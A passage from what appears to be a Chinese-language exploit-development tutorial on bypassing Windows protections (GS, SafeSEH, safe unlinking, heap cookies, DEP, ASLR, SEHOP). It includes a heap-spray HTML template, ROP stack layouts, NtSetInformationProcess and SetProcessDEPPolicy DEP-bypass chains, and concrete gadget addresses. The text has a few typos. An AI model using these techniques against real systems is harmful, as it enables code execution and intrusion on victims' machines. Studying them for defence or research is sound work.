┣━━━━━━━━┫┃向
┃    返回地址   ┃┃
┣━━━━━━━━┫┃
┃    函数参数   ┃┃
┣━━━━━━━━┫┃
┃    虚函数表   ┃┃
┗━━━━━━━━┛内存高地址

经GS编译后栈中局部变量空间分配情况:

1
2
3
4
sub   esp,24h
mov eax,dword ptr [___security_cookie (408040h)]
xor eax,dword ptr [esp+24h]
mov dword ptr [esp+20h],eax

在函数尾部的额外代码用于在函数返回时,调用security_check_cookie()函数,以判断cookie是否被更改过,当函数返回时的情况如下:

1
2
3
4
mov   ecx,dword ptr [esp+20h]
xor ecx,dword ptr [esp+24h]
add esp,24h
jmp __security_check_cookie (4010B2h)

在缓冲区溢出利用时,如果将恶意代码从局部变量覆盖到返回地址,那么自然就会覆写cookie,当检测到与原始cookie不同时(也就是比较上面408040h与4010B2h两处cookie值的比较),就会触发异常,最后终止进程。

绕过方法:

1.猜测/计算cookie

Reducing the Effective Entropy of GS Cookies
至从覆盖SEH的方法出现后,这种方法目前已基本不用了,它没有后面的方法来得简便。

2.覆盖SEH

由于当security_check_cookie()函数检测到cookie被更改后,会检查是否安装了安全处理例程,也就是SEH节点中保存的指针,如果没有,那么由系统的异常处理器接管,因此我们可以通过(pop pop ret)覆盖SEH来达到溢出的目的。但对于受SafeSEH保护的模块,就可能会导致exploit失效,关于它的绕过在后续部分再述。
辅助工具:OD插件safeSEH、pattern_create、pattern_offset、msfpescan、memdump

3.覆盖虚表指针

堆栈布局:[局部变量][cookie][入栈寄存器][返回地址][参数][虚表指针]
当把虚表指针覆盖后,由于要执行虚函数得通过虚表指针来搜索,即可借此劫持eip。

二、SafeSEH

原理

为了防止SEH节点被攻击者恶意利用,微软在.net编译器中加入/safeseh编译选项引入SafeSEH技术。编译器在编译时将PE文件所有合法的异常处理例程的地址解析出来制成一张表,放在PE文件的数据块(LQAJ)一C0N—FIG)中,并使用shareuser内存中的一个随机数加密,用于匹配检查。如果该PE文件不支持safeSEH,则表的地址为0。当PE文件被系统加载后,表中的内容被加密保存到ntdl1.dll模块的某个数据区。在PE文件运行期间,如果发生异常需要调用异常处理例程,系统会逐个检查该例程在表中是否有记录:如果没有则说明该例程非法,进而不执行该异常例程。

绕过方法

1.利用堆地址覆盖SEH结构

在禁用DEP的进程中,异常分发例程允许SEH handler位于某些非映像页面,除栈空间之外。这也就意味着我们可以把shellcode放置在堆中,并通过覆盖SEH跳至堆空间以执行shellcode,这样即可完全绕过safeseh保护。

2.利用SafeSEH保护模块之外的地址

对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的dll文件,这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外,也可通过直接覆盖返回地址(jmp/call esp)来利用。另一种方法,如果esp +8 指向EXCEPTION_REGISTRATION 结构,那么你仍然可以寻找一个pop/pop/ret指令组合(在加载模块的地址范围之外的空间),也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令,你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移,接下来就是查找这样的指令:

1
2
3
4
call dword ptr[esp+nn] / jmp dword ptr[esp+nn]                                                                        
call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
(其中的nn 就是寄存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。

如果遇到以上指令是以NULL字节结尾的,可将shellcode放置在SEH之前:
• 在nseh 上放置向后的跳转指令(跳转7 字节:jmp 0xfffffff9);
• 向后跳转足够长的地址以存放shellcode,并借此执行至shellcode;
• 把shellcode 放在用于覆盖异常处理结构的指令地址之前。

三、Safe Unlinking

原理

在Windows XP SP2之后,堆分配器在从空闲链表中移除堆块时使用safe unlinking进行保护,防止堆溢出被利用。在使用flink和blink指针前,它会验证是否满足以下条件:Entry->Flink->Blink == Entry->Blink->Flink == Entry,以防止攻击者使flink或blink指向任意内存地址,进而消除在执行unlink操作时写入任意4字节数据的机会。

绕过方法:

1.利用旁视列表(lookaside list)

旁视列表(《软件调试》),也叫快表(《0day安全:软件漏洞分析技术》),它是一张链表,共包含128 项,每一项对应于一个单向链表。每个单向链表都包含了一组固定大小的空闲块,堆块的大小从16 字节开始随索引递增依次增加8字节。最后一个索引(127)包含了大小为1024 字节的空闲堆块。每个堆块包含了8 个字节的块首,用于管理这个堆块。返回给调用者的最小堆块是16 字节。这样,旁视列表前端分配器没有使用索引为0的项,因为这个项对应于大小为8 个字节的空闲堆块。由于在safe unlinking过程中,快表被忽略了,当在快表中分配一块空闲块后,若将该空闲块从链表中移除,则该块的flink指针会写入块首,而系统并未对flink指针的有效性进行验证,这样就导致在分配下一个同大小的堆块时,它将会把flink指针返回给新分配的块。如果攻击者能够覆盖快表中的链表头,那么就可以用任意地址来替换flink指针,并在分配新块时写入任意字节,最后返回被我们修改的地址的值。这一攻击方式最早是由Matt Conover在CanSecWest 2004黑客大会上公布的《Windows Heap ExploitationWin2KSP0 through WinXPSP2)》
实现步骤如下:

1
2
3
4
p = HeapAlloc(n);
FillLookaside(n);
HeapFree(p);
EmptyLookaside(n);

利用以下值篡改 p[0](任一堆地址):

1
2
3
4
5
6
p->Flags = Busy (防止偶然发生堆块合并)
p ->Flink = (BYTE *)&ListHead[(n/8)+1] - 4
p ->Blink = (BYTE *)&ListHead[(n/8)+1] + 4
HeapAlloc(n); // 破坏 safe unlinking
p = HeapAlloc(n); // 破坏 safe unlinking
// 现在p指向 &ListHead[(n/8)].Blink

但在Windows Vista之后,快表被低碎片堆(Low-Fragmentation Heap)所代替了,上面的攻击方式就不再适用了。

2.heap spary

Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>

Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}

var s= '';
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);

</script>
</body>
</html>

四、Heap Cookie及其加密

原理

在heap header中加入cookie值,原理与栈中的cookie类似,用于检测堆溢出的发生,cookie被放置在堆首部分原堆块的segment table的位置,占1字节大小,其计算公式如下:

1
(AddressOfChunkHeader / 8) XOR Heap->Cookie = Cookie

即堆块头部地址除以8,然后跟Heap管理结构中的cookie相异或就得到了cookie值。

绕过方法

1.猜测/计算cookie

由于cookie只有1字节,因此共有256种可能存在的值,如果通过暴力猜测的话,也是存在被破解的可能。

2.heap spary

具体利用方法同上,这里不再赘述。

三、DEP

原理

数据执行保护 (DEP) 是一套软硬件技术,能够在内存上执行额外检查以防止在不可运行的内存区域上执行代码。在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、Microsoft Windows XP Tablet PC Edition 2005 、Microsoft Windows Vista 和 windows 7 中,由硬件和软件一起强制实施 DEP。DEP 有两种模式,如果CPU 支持内存页NX 属性, 就是硬件支持的DEP。只有当处理器/系统支持NX/XD位(禁止执行)时,windows才能拥有硬件DEP,否则只能支持软件DEP,相当于只有SafeSEH保护。

绕过方法:

1.ret2lib

其思路为:将返回地址指向lib库中的代码,而不直接跳转到shellcode 去执行,进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代码,比如system()函数,用它的地址覆盖返回地址,此时即使NX/XD 禁止在堆栈上执行代码,但库中的代码依然是可以执行的。函数system()可通过运行环境来执行其它程序,例如启动Shell等等。另外,还可以通过VirtualProtect函数来修改恶意代码所在内存页面的执行权限,然后再将控制转移到恶意代码,其堆栈布局如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓      
┃ ┃ 恶意代码 ┃内存高地址
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpflOldProtect ┃┃
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ flNewProtect ┃┃栈
┃ 调用参数 ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ dwSize ┃┃生
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpAddress ┃┃长
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ 恶意代码的入口地址 ┃┃方
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ 返回地址 ┃ VirtualProtect函数地址 ┃┃向
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ EBP上层函数堆栈基址 ┃ ┃┃
┣━━━━━━━━━━━━┫ ┃┃
┃ 异常例程入口地址(若有 ┃  填充数据的覆盖区域 ┃┃
┃设置的话,比如try…catch)┃ (AAAAAAAA……) ┃┃
┣━━━━━━━━━━━━┫ ┃▼
┃ 局部变量 ┃ ┃内存低地址
┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛

由于后期系统dll加入了ASDL保护,因此我们可以选用未开启ASLR的第三方DLL文件,示例如下(这里使用迅雷IE插件):

1
2
3
4
5
XunleiBHO7.1.6.2194.dll(DEP/ NO ASLR)
.text:211D18F5 call ds:VirtualProtect
.text:211D18FB pop esi
.text:211D18FC pop ebp
.text:211D18FD retn 0Ch

栈空间布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
41414141  垃圾字节(共3088字节)
……
211D18F5 返回地址
41414141 平衡堆栈(视漏洞函数的具体情况而定)

07c50000 lpAddress(shellcode地址)
00001000 dwSize
00000040 flNewProtect (PAGE_EXECUTE_READWRITE)
07c50020 lpflOldProtect (可写地址)

41414141 平衡 pop esi 使用的堆栈
41414141 平衡 pop ebp 使用的堆栈
07c50000 返回地址,指向shellcode

在一次实际利用中,我使用了COMODO主动防御软件中的guard32.dll来定位VirtualProtect函数:

1
2
3
4
5
6
7
8
9
10
11
#1002CA33  -FF25 E8F30310    JMP DWORD PTR DS:[1003F3E8]  [Module : guard32.dll]
# jmp to here
#6FFF04C0 8BFF MOV EDI,EDI
#6FFF04C2 55 PUSH EBP
#6FFF04C3 8BEC MOV EBP,ESP
#6FFF04C5 -E9 E64BFF06 JMP kernel32.76FE50B0
# jmp to here
#76FE50B0 5D POP EBP
#76FE50B1 ^E9 02D0FBFF JMP <JMP.&API-MS-Win-Core-Memory-L1-1-0.VirtualProtect>
# jmp to here
#76FA20B8 -FF25 1019FA76 JMP DWORD PTR DS:[<&API-MS-Win-Core-Memory-L1-1-0.VirtualProtect>; KERNELBA.VirtualProtect

关于ret2lib技术的更多信息可参考资料:http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

2.利用TEB突破DEP

在之前的《黑客防线》中有篇文章《SP2下利用TEB执行ShellCode》,有兴趣的读者可以翻看黑防出版的《缓冲区溢出攻击与防范专辑》,上面有这篇文章。该作者在文中提到一种利用TEB(线程环境块)来突破DEP的方法,不过它受系统版本限制,只能在XP sp2及其以下版本的windows系统上使用,因为更高版本的系统,其TEB地址是不固定的,每次都是动态生成的。该方法的具体实现方法如下:
(1)将返回地址覆盖成字符串复制函数的地址,比如lstrcpy,memcpy等等;
(2)在返回地址之后用目标内存地址和shellcode地址覆盖,当执行复制操作时,就会将shellcode复制到目标内存地址,该目标内存地址位于TEB偏移0xC00的地方,它有520字节缓存用于ANSI-to-Unicode函数的转换;
(3)复制操作结束后返回到shellcode地址并执行它。
此时其堆栈布局如下:

1
2
3
4
5
6
7
8
┏━━━━━━━┓
【shellcode 】
【save ebp 】
【lstrcpy 】
【TEB缓存地址 】<= 用于复制结束后返回到shellcode
【TEB缓存地址 】
【ShellCode地址 】
┗━━━━━━━┛

3.利用NtSetInformationProcess关闭DEP

关于此方法最原始的资料应该是黑客杂志《uninformed》上的文章《Bypassing Windows Hardware-enforced Data Execution Prevention》,另外也可以看下本人之前翻译的《突破win2003 sp2中基于硬件的DEP》,此方法的主要原理就是利用NtSetInformationProcess()函数来设置KPROCESS 结构中的相关标志位,进而关闭DEP,KPROCESS结构中相关标志位情况如下:

1
2
3
4
5
6
7
8
9
10
11
0:000> dt nt!_KPROCESS -r
ntdll!_KPROCESS
. . .
+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

当DEP 被启用时,ExecuteDisable 被置位,当DEP 被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。代码实现:

1
2
3
4
5
6
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // ProcessHandle = -1
ProcessExecuteFlags, // ProcessInformationClass = 0x22(ProcessExecuteFlags)
&ExecuteFlags, // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

具体实现思路(以我电脑上VirtualBox虚拟机下的xp sp3为例):
1) 将al设置为1,比如指令mov al,1 / ret,然后用该指令地址覆盖返回地址:

1
2
3
4
5
6
7
8
9
0:000> lmm ntdll
start end module name
7c920000 7c9b3000 ntdll (pdb symbols) c:\symbollocal\ntdll.pdb\1751003260CA42598C0FB326585000ED2\ntdll.pdb
0:000> s 7c920000 l 93000 b0 01 c2 04
7c9718ea b0 01 c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56 ............U..V
0:000> u 7c9718ea
ntdll!NtdllOkayToLockRoutine:
7c9718ea b001 mov al,1
7c9718ec c20400 ret 4

由于上面的ret 4,因此要再向栈中填充4字节(比如0xffffffff)以抵消多弹出的4字节,如果选择的指令刚好是ret则无须再多填充4字节。

2) 跳转到ntdll!LdrpCheckNXCompatibility中的部分代码(从cmp al,1 开始,可通过windbg下的命令uf ntdll!LdrpCheckNXCompatibility来查看其反汇编代码),比如以下地址就需要用0x7c93cd24来覆写堆栈上的第二个地址:

1
2
3
4
5
ntdll!LdrpCheckNXCompatibility+0x13:
7c93cd24 3c01 cmp al,1
7c93cd26 6a02 push 2
7c93cd28 5e pop esi
7c93cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 之前已将al置1,故此处实现跳转

3) 上面跳转后来到这里:

1
2
3
4
5
6
7
8
9
0:000> u 7c95f70e
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc mov dword ptr [ebp-4],esi ; [ebp-0x4]= esi = 2
;执行到这里的时候会发现ebp-4(41414141-4 = 4141413d)而导致不可写,因此我们需要在前面调整下ebp的值,比如可以使用以下指令:
;- push esp / pop ebp / ret
;- mov esp,ebp / ret
;或者其它可调整ebp为可写地址的指令

7c95f711 e919d6fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f)

4) 上面跳转后来到:

1
2
3
4
0:000> u 7c93cd2f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00 cmp dword ptr [ebp-4],0
7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ; 由于不相等再次实现跳转

5) 上面跳转后来到:

1
2
3
4
5
6
7
8
9
10
0:000> u 7c956831
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04 push 4 ;ProcessInformationLength = 4
7c956833 8d45fc lea eax,[ebp-4]
7c956836 50 push eax ;ProcessInformation = 2(MEM_EXECUTE_OPTION_ENABLE)
7c956837 6a22 push 22h ;ProcessInformationClass = 0x22(ProcessExecuteFlags)
7c956839 6aff push 0FFFFFFFFh
7c95683b e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
7c956845 90 nop

在这里调用函数ZwSetInformationProcess(),而其参数也刚好达到我们关闭DEP的各项要求.

6) 最后跳转到函数结尾:

1
2
3
4
5
0:000> u 7c93cd6d
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e pop esi
7c93cd6e c9 leave
7c93cd6f c20400 ret 4

最后的堆栈布局应为:

1
2
3
4
5
6
7
8
9
10
11
┏━━━━━━━━━━━━━━━━┓
【 AAA…… 】 <= 填充数据
【 push esp/pop ebp/ret 】 <= 调整ebp为可写地址
【 al=1地址 】 <= 返回地址
【 0xffffffff 】 <= 平衡堆栈
【LdrpCheckNXCompatibility指令地址】 <= 指令cmp al,0x1 的起始地址
【 0xffffffff 】 <= 平衡堆栈
【 "A" x 54 】 <= 调整NX禁用后的堆栈
【 call/jmp esp 】
【 shellcode 】
┗━━━━━━━━━━━━━━━━┛

如果在禁用NX后,又需要读取esi或ebp,但此时它们又被我们填充的数据覆盖掉了,那么我们可以使用诸如push esp/pop esi/ret或者push esp/pop ebp/ret这样的指令来调整esi和ebp,以使关闭DEP后还能够正常执行。
辅助工具:ImmDbg pycommand插件(!pvefindaddr depxpsp3 + !findantidep)

4.利用SetProcessDEPPolicy来关闭DEP

适用在:Windows XP SP3,Vista SP1 和Windows 2008。
为了能使这个函数有效,当前的DEP 策略必须设成OptIn 或者OptOut。如果策略被设成
AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy 将会抛出一个错误。如果一个模块
是以/NXCOMPAT 链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
将不成功。
Bernardo Damele 写了一篇关于这一技术的博文《DEP bypass with SetProcessDEPPolicy()》
函数原型如下:

1
2
3
BOOLWINAPI SetprocessDEPPolicy(
__in DWORD dwFlags
);

DWORD dwDWORD dw这个函数需要一个参数,并且这个参数必须设置为0,以此禁用当前进程的DEP。
为了在ROP 链中使用这个函数,你需要在栈上这样设置:
●指向SetProcessDEPPolicy 的指针
●指向shellcode 的指针
●0
指向shellcode 的指针用于确保当SetProcessDEPPolicy()执行完ROP链后会跳到shellcode。
在XP SP3 下SetProcessDEPPolicy 的地址是7C8622A4(kernel32.dll)

5.利用WPN与ROP技术

ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。
具体实现方法参见我之前翻译的文章《利用WPN与ROP技术绕过DEP》:http://bbs.pediy.com/showthread.php?t=119300

6.利用SEH 绕过DEP

启用DEP后,就不能使用pop pop ret地址了,而应采用pop reg/pop reg/pop esp/ret 指令的地址,指令pop esp 可以改变堆栈指针,ret将执行流转移到nseh 中的地址上(用关闭NX 例程的地址覆盖nseh,用指向pop/pop/pop esp/ret 指令的指针覆盖异常处理器)。
辅助工具:ImmDbg插件!pvefindaddr

四、ASLR

原理

ASLR(地址空间布局随机化)技术的主要功能是通过对系统关键地址的随机化,防止攻击者在堆栈溢出后利用固定的地址定位到恶意代码并加以运行。它主要对以下四类地址进行随机化:
(1)堆地址的随机化;
(2)栈基址的随机化;
(3)PE文件映像基址的随机化;
(4)PEB(Process Environment Block,进程环境块)地址的随机化。
它在vista,windows 2008 server,windows7下是默认启用的(IE7除外),非系统镜像也可以通过链接选项/DYNAMICBASE(Visual Studio 2005 SP1 以上的版本,VS2008 都支持)启用这种保护,也可手动更改已编译库的dynamicbase 位,使其支持ASLR 技术(把PE 头中的DllCharacteristics 设置成0x40 -可以
使用工具PE EXPLORER 打开库,查看DllCharacteristics 是否包含0x40 就可以知道是否支持ASLR 技术)。另外,也可以使用Process Explorer来查看是否开启ASLR。启用ASLR后,即使你原先已经成功构造出exploit,但在系统重启后,你在exploit中使用的一些固定地址就会被改变,进而导致exploit失效。

绕过方法:

1.覆盖部分返回地址

对比下windows7系统启动前后OD中loaddll.exe的各模块基址,启动前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
可执行模块
基址 大小 入口 名称 文件版本 路径
00400000 00060000 00410070 loaddll D:\riusksk\TOOL\Ollydbg\loaddll.exe
6DDE0000 0008C000 6DDE1FFF AcLayers 6.1.7600.16385 ( C:\Windows\AppPatch\AcLayers.dll
710E0000 00012000 710E1200 mpr 6.1.7600.16385 ( C:\Windows\System32\mpr.dll
71C50000 00051000 71C79834 winspool 6.1.7600.16385 ( C:\Windows\System32\winspool.drv
747F0000 00017000 747F1C89 userenv 6.1.7600.16385 ( C:\Windows\System32\userenv.dll
750A0000 0001A000 750A2CCD sspicli 6.1.7600.16385 ( C:\Windows\System32\sspicli.dll
750C0000 0004B000 750C2B6C apphelp 6.1.7600.16385 ( C:\Windows\System32\apphelp.dll
75190000 0000B000 75191992 profapi 6.1.7600.16385 ( C:\Windows\System32\profapi.dll
75420000 0004A000 75427A9D KERNELBA 6.1.7600.16385 ( C:\Windows\system32\KERNELBASE.dll
75B50000 0000A000 75B5136C LPK 6.1.7600.16385 ( C:\Windows\system32\LPK.dll
75B60000 0004E000 75B6EC49 GDI32 6.1.7600.16385 ( C:\Windows\system32\GDI32.dll
……

系统重启后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
可执行模块
基址 大小 入口 名称 文件版本 路径
00400000 00060000 00410070 loaddll D:\riusksk\TOOL\Ollydbg\loaddll.exe
6F510000 0008C000 6F511FFF AcLayers 6.1.7600.16385 ( C:\Windows\AppPatch\AcLayers.dll
715B0000 00012000 715B1200 mpr 6.1.7600.16385 ( C:\Windows\System32\mpr.dll
72170000 00051000 72199834 winspool 6.1.7600.16385 ( C:\Windows\System32\winspool.drv
74C70000 00017000 74C71C89 userenv 6.1.7600.16385 ( C:\Windows\System32\userenv.dll
75520000 0001A000 75522CCD sspicli 6.1.7600.16385 ( C:\Windows\System32\sspicli.dll
75540000 0004B000 75542B6C apphelp 6.1.7600.16385 ( C:\Windows\System32\apphelp.dll
75610000 0000B000 75611992 profapi 6.1.7600.16385 ( C:\Windows\System32\profapi.dll
75690000 0004A000 75697A9D KERNELBA 6.1.7600.16385 ( C:\Windows\system32\KERNELBASE.dll
759B0000 000CC000 759B168B msctf 6.1.7600.16385 ( C:\Windows\System32\msctf.dll
75E60000 000AC000 75E6A472 msvcrt 7.0.7600.16385 ( C:\Windows\system32\msvcrt.dll
75F10000 0004E000 75F1EC49 GDI32 6.1.7600.16385 ( C:\Windows\system32\GDI32.dll
……

由此可见,各模块基址的高位是随机变化的,而低位是固定不变的,这里loaddll.exe不受ADSL保护,所以其基址没有随机化,如果是Notepad.exe就有启用ASLR,还有其它经链接选项/DYNAMICBASE编译的程序也会启用ASLR。因此我们可以让填充字符只覆盖到返回地址的一半,由于小端法机器的缘故,其低位地址在前,因此覆盖到的一半地址刚好处于低位,而返回地址的高位我们让它保持不变,所以我们必须在返回地址之前的地址范围内(相当于漏洞函数所在的255字节空间地址)查找出一个可跳转到shellcode的指令,比如jmp edx(关键看哪一寄存器指向shellcode)。除此之外,我们还必须将shellcode放在返回地址之前,不然连返回地址的高位也覆盖掉了,这是不允许的。纵观此法,相当的有局限性,如果漏洞函数过短,可能就没有我们需要的指令了,这时就得另寻他法了。

2.利用未启用ASLR的模块地址

这与之前绕过SafeSEH的方法类似,直接在未受ASLR保护的模块中查找跳转指令的地址来覆盖返回地址或者SEH结构,比如上方的可执行模块列表中的loaddll.exe地址就是固定不变,因此我们借助其地址空间中的指令来实现跳板。这个可以通过Process Explorer或者ImmDbg命令插件来查看哪些可执行模块未受ASDL保护!ASLRdynamicbase或者(!pvefindaddr noaslr):来查看哪些进程模块启用ASLR保护。

3.heap spary

具体利用方法同上,这里不再赘述。

4.利用内存信息泄漏

通过获取内存中某些有用的信息,或者关于目标进程的状态信息,攻击者通过一个可用的指针就有可能绕过ASLR。这种方法还是十分有效的,主要原因如下:
(1)可利用指针检测对象在内存中的映射地址。比如栈指针指向内存中某线程的栈空间地址,或者一静态变量指针可泄露出某一特定DLL/EXE的基址。
(2)通过指针推断出其他附加信息。比如栈桢中的桢指针不仅提供了某线程栈空间地址,而且提供了栈桢中的相关函数,并可通过此指针获得前后栈桢的相关信息。再比如一个数据段指针,通过它可以获得其在内存中的映像地址,以及单数据元素地址。若是堆指针还可获得已分配的数据块地址,这些信息在程序攻击中还是着为有用的。
在Vista系统的ASLR中,信息泄漏的可用性更广了。如果攻击者知道内存中某一映射地址,那么他不仅可获取对应进程中的DLL地址,连系统中运行的所有进程也会遭殃。因为其他进程在重新加载同一DLL时,是通过特定地址上的_MiImageBitMap变量来搜索内存中的DLL地址的,而这一bitmap又被用于所有进程,因此找到一进程中某DLL的地址,即可在所有进程的地址空间中定位出该DLL地址。

5.利用SystemCall

(1)在SystemCall 地址0x7ffe0300上是没有被随机化的,下面是我在win7 中文旗舰版上的情况:

1
2
3
4
5
6
7
8
9
10
0:000> dt _KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA

+0x300 SystemCall : 0x77966340
+0x304 SystemCallReturn : 0x77966344

0:000> u 77966340
ntdll!KiFastSystemCall:
77966340 8bd4 mov edx,esp
77966342 0f34 sysenter

(2)– Windows 用户模式进入内核模式时:

1
2
3
4
5
6
0:000> u ZwCreateProcess
ntdll!NtCreateProcess:
77964940 b84f000000 mov eax,4Fh
77964945 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7796494a ff12 call dword ptr [edx]
7796494c c22000 ret 20h

– 通过手工构造System Call的参数
– 并且用System Call的技术来绕过DEP&ALSR

(3)IE MS08-078 exploit with SystemCall on windows
– 通过堆喷射的方法在内存中填充SystemCall的地址
– 在exploit中使用SystemCall地址

1
2
3
4
5
6
.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8
…. // 0x11c8 be a systemcall ID
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall

以上代码等同于调用NtUserLockWorkStation

1
2
3
mov eax,11c8h
mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
call dword ptr [edx]

(4)System call on x64
– 7ffe0300 不再存放KiFastSystemCall的地址
– 通过call dword ptr fs:[0C0h]指令来代替系统调用的方法

1
2
3
4
5
6
7
0:000> u NtQueryInformationToken
ntdll!NtQueryInformationToken:
77d9fb38 b81e000000 mov eax,1Eh
77d9fb3d 33c9 xor ecx,ecx
77d9fb3f 8d542404 lea edx,[esp+4]
77d9fb43 64ff15c0000000 call dword ptr fs:[0C0h]
77d9fb4a 83c404 add esp,

五、SEHOP

原理

微软在Microsoft Windows 2008 SP0、Microsoft Windows Vista SP1和Microsoft Windows 7中加入了另一种新的保护机制SEHOP(Structured Exception Handling Overwrite Protection),它可作为SEH的扩展,用于检测SEH是否被覆写。SEHOP的核心特性是用于检测程序栈中的所有SEH结构链表的完整性,特别是对最后一个SHE结构的检测。在最后一个SEH结构中拥有一个特殊的异常处理函数指针,指向一个位于ntdll中的函数ntdll!FinalExceptHandler()。当我们用jmp 06 pop pop ret 来覆盖SEH结构后,由于SEH结构链表的完整性遭到破坏,SEHOP就能检测到异常从而阻止shellcode的运行

绕过方法

伪造SEH链表
由于SEHOP会检测SEH链表的完整性,那么我们可以通过伪造SEH链表来替换原先的SEH链表,进而达到绕过的目的。具体实现方法:

(1)查看SEH链表结构,可借助OD实现,然后记住最后一个SEH结构地址,以方便后面的利用;
(2)用JE(0x74) + 最后一个SEH结构的地址(由于地址开头是00,故可省略掉,可由0x74替代,共同实现4字节对齐)去覆盖nextSEH;
(3)用xor pop pop ret指令地址去覆盖SEH handle,其中的xor指令是用于将ZF置位,使前面的JE = JMP指令,进而实现跳转;
(4)在这两个SEH结构之前写入一跳转指令(JMP+8),以避免数据段被执行;
(5)在这两个SEH结构之间全部用NOP填充,如果两者之间还有其它SEH结构的话;
(6)将shellcode放置在最后一个SEH结构之后,即ntdll!FinalExceptHandler()函数之后。

此时的堆栈布局如下:

1
2
3
4
5
6
7
8
9
10
11
┏━━━━━━━━━━━━┓
【 NOP… 】
【 JMP 08 】
【 JE XXXXXX 】<= next SEH(指向前面的NOP)
【 xor pop pop ret 】<= SEH Handler
【 NOP… 】
【 JMP 08 】
【 0xFFFFFFFF 】<= next SEH
【ntdll!FinalExceptHandler】<= SEH Handler
【 shellcode 】
┗━━━━━━━━━━━━┛

更多信息可参见我之前翻译的《绕过SEHOP安全机制》

结论

